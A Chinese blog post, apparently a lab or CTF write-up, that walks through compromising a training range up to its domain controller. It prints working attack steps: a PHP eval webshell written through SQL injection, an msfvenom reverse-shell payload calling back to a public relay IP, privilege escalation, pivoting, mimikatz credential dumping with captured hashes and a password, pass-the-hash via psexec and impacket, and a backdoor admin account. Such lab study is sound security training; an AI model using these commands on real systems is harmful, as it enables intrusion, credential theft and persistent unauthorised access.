【CTF】msf和impacket聯合拿域控內網滲透-拿域控

孤桜懶契發表於2021-09-26

前言

  • 掌控安全裡面的靶場內網滲透,練練手!

內網滲透拿域控

環境:http://afsgr16-b1ferw.aqlab.cn/?id=1

1、進去一看,典型的sql注入

image-20210825220657141

2、測試了一下,可以爆庫,也可以寫一句話,並且還爆了絕對路徑,直接拿shell,進入主題

①將shell.php寫入網站根目錄,payload

http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>"  into outfile 'C:/phpstudy/www/shell.php' 

image-20210825125125629

②蟻劍連線,發現許可權很低

image-20210825125351402

kali機的提權和後滲透方法

提權我們可以傳個木馬用msf試試,獲取按照系統補丁來搜payload提權等等,這裡就用最快的方式,msf(注意:,下面講關於kali中msf怎麼內網穿透,方法太多了)

kali內網穿透用花生殼

拿到webshell之後,由於這個webshell是在公網的,無法訪問我們內網的kali,所以我們得將kali中的某個埠對映到公網

下載花生殼

1、可以看到kali的內網ip為192.168.0.108

image-20210825144201133

2、接著設定一下花生殼的配置

image-20210825144304538

3、可以看到我們對映到公網的ip和埠

image-20210825145021884

4、接著使用msf製作訪問我們公網ip和埠的後門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe

image-20210825145308619

4、開啟msf的監聽

handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run

image-20210825145611133

5、執行webshell中的木馬

image-20210825150817771

sessions 1 //進入會話

6、發現無法不是最高許可權,getsystem/getprivs並未成功

image-20210825151006342

7、一般使用最多的是ms16_075的方式提權了,這個成功率高,試試

但是由於我們是內網,所以就必須準備兩個msf視窗才能使用msf的提取功能

msf視窗1執行監聽命令

image-20210825190615237

msf視窗2許可權低的那個會話執行提權命令

run exploit/windows/local/ms16_075_reflection_juicy lhost=103.46.128.46 lport=26240

image-20210825152946894

接著監聽的那個msf視窗1就獲得了一個system許可權的會話

image-20210825190550083

看路由器命令

route

image-20210825131602886

一般為了防止後門被人關掉,將其注入到其他程式中

ps 檢視程式pid

image-20210825131738407

接著用migrate將我們後門注入到1816中,有效防止木馬掛了

migrate 1816

image-20210825131844343

通過shell命令進入命令視窗

image-20210825132018668

內網資訊收集

可以通過ifconfig看到內網ip

接著利用後滲透工具ping方法掃一下ip段,接著掃出三個ip存活

info post/multi/gather/ping_sweep //檢視所需引數
run post/multi/gather/ping_sweep rhosts=10.0.1.4/24 //掃網段

image-20210825141018301

還有一種方法,arp掃ip段,用法差不多,這個掃的快一些比較推薦

run post/windows/gather/arp_scanner rhosts=10.0.1.4/24

image-20210825141236281

這是利用msf自帶工具掃描,接下來再演示使用nmap掃一下看看

首先新增一個路由如下命令

run get_local_subnets //檢視網段
run autoroute -s 10.0.1.0/24
run autoroute -p //檢視已新增的路由
background //儲存session返回msf

image-20210825190957026

接著開啟socks4a服務,使用msf的輔助模組

use auxiliary/server/socks_proxy
set VERSION 4a //設定為socks4a
run

image-20210825135235850

接著設定/etc/proxychains.conf 中的內容改為下面展示截圖,kali自帶的代理工具

vim /etc/proxychains.conf 

image-20210825135313167

接著我們就可以利用proxychains4來進行連線3389埠,和進行內網ip段掃描,使用nmap掃描其內網ip及其埠等,但是掃的真的慢是我網太卡了麼。

proxychains4 nmap -sT -Pn -p 22,80,445,3306,3389 10.0.1.0/24 --open

image-20210825162331493

看到好多445埠,這裡其實可以用永恆之藍的

當然,也可以選擇不用nmap掃描埠,我們可以用msf的模組掃描埠

use auxiliary/scanner/portscan/tcp 
set rhosts 10.0.1.6

image-20210826122250324

kali機用kiwi抓取密碼

也可以直接抓取管理員密碼

msf提供一些後滲透的模組

load -l 來檢視有哪些模組

image-20210825132220021

其實kiwi就是mimikatz就是換了個名在這裡,然後載入kiwi

image-20210825132534386

檢視當前kiwi的命令用help

help

image-20210826164747221

對10.0.1.4機子進行抓密碼,接著執行下面命令,就可以獲取管理員密碼,這個是對登陸過的賬號和密碼進行抓取

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

image-20210825155147593

獲得密碼
u:administrator
p:woshifengge1.

kali機hash傳遞得到會話

看到445埠就可以嘗試hash傳遞,在不需要密碼的情況下使用,發現10.0.1.6-10.0.1.8可以被利用

hashdump可獲取hash值,得是64位系統許可權才可執行

hashdump 
或者是 
run post/windows/gather/hashdump
或者是
run  post/windows/gather/smart_hashdump
以上都可以獲取hash值

background 返回

image-20210825204025897

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1009:aad3b435b51404eeaad3b435b51404ee:77be122bef1c2d43f67721c95114f46b:::

通過網段知道6-8有445可以利用smb的hash傳遞連線10.0.1.8這臺機子,因為一般情況幾臺機子的密碼都相同。

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 
//正向連線
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83  #hashdump獲取的hash值進行

image-20210825211954287

image-20210826122139082

這裡發現10.0.1.8這臺機子存在域控,dns一般是和域控繫結在一個伺服器上的

shell
ipconfig /all 

image-20210826111519161

shell檢視域的命令

shell中命令使用檢視是否存在域的方法

這裡明顯A1這臺機子處於域中

1、檢視域中計算機

net view //檢視域中的計算機

image-20210826123626763

net view /domain //檢視域

image-20210826123754506

根據ipconfig /all 可以知道域控主機的ip是10.0.1.6

hash傳遞並不能登陸進去

2、檢視域中的計算機

就一臺A1,這裡我們得通過A1去獲得域控

net view /domain:ZKAQ

image-20210826124241672

3、ping計算機名可以得到IP

ping A1

image-20210826152201980

ping zkaq.cn

image-20210826152226030

4、獲得所有域的使用者列表,有一個krbtgt就是域使用者

net user /domain

image-20210826152412178

5、獲取域使用者組資訊

net group /domain

image-20210826152604552

6、獲取當前域管理員資訊

net group "domain admins" /domain

image-20210826152743124

7、檢視域時間及域伺服器的名字

net time /domain

image-20210826152822253

通過域的資訊收集得到DC.zkaq.cn 10.0.1.6這個就是域控

擴充,匯入kiwi的命令使用

image-20210826154025355

1、msv列出NTLM

kiwi_cmd sekurlsa::msv

image-20210826154258459

2、kerberos抓密碼,發現全部加密了

kiwi_cmd sekurlsa::kerberos

image-20210826154520844

3、也可以用creds_all抓取密碼,但也明顯加密

creds_all

Username       Domain  NTLM                          
--------       ------  ----  
A1$            ZKAQ    3bf63ae494aee3a74fa90a41b9459df9  
Administrator  ZKAQ    61465a991b168727b65b3644aab823cd 
Administrator  A1      4d1de63584701c85b8b9eccf5243ef83 

Impacket實現域控NTML的hash傳遞

這裡發現密碼是無法獲取的,因為NTLM是密文,我們可以使用hash傳遞,不過這裡得使用Impacket的包

首先我們要先去GitHub下載原始碼,或者直接使用

git clone https://github.com/SecureAuthCorp/impacket.git

然後解壓縮,進入impacket

cd impacket/

然後執行

python setup.py install

工具都在這個目錄裡impacket/examples

cd impacket/examples

image-20210826181929813

接著我們使用smbexec.py這個模組,用上面的ntml值hash傳遞登陸域控機子

proxychains4 python3 smbexec.py -hashes :61465a991b168727b65b3644aab823cd ZKAQ/Administrator@10.0.1.6

成功拿下域控的超級管理員許可權

image-20210826182104275

接下來是基礎操作新增超管賬號,然後登陸域控

net user gylq ********** /add #密碼打長的,2008有限制,密碼不能太簡單
net localgroup administrators gylq /add #新增超管

image-20210826182456730

直接代理登陸域控10.0.1.6就報錯,這是域控機的守護機制

image-20210826184827868

需要使用他域內的機子去登陸,我們先登陸10.0.1.8,再登陸域控

遠端3389登陸域控

也可以用直接用抓取的密碼來代理登陸3389的埠等,只是演示一下

如果對方沒有開啟遠端連線,可以使用msf自帶命令啟動

run getgui -e

先登陸10.0.1.4,才發現這個不是域內機子,得去登陸10.0.1.8

image-20210825213850565

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.4

image-20210825155348203

也可以用代理直接連線10.0.1.8,來進行確定

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8 

image-20210826184255820

接著用10.0.1.8作為跳板登陸10.0.1.6,即域控機子

image-20210826185051021

成功登陸域控

image-20210826185312074

總結:這是kali中使用msf和impacket聯合拿域控

我的個人部落格

孤桜懶契:http://gylq.gitee.io

相關文章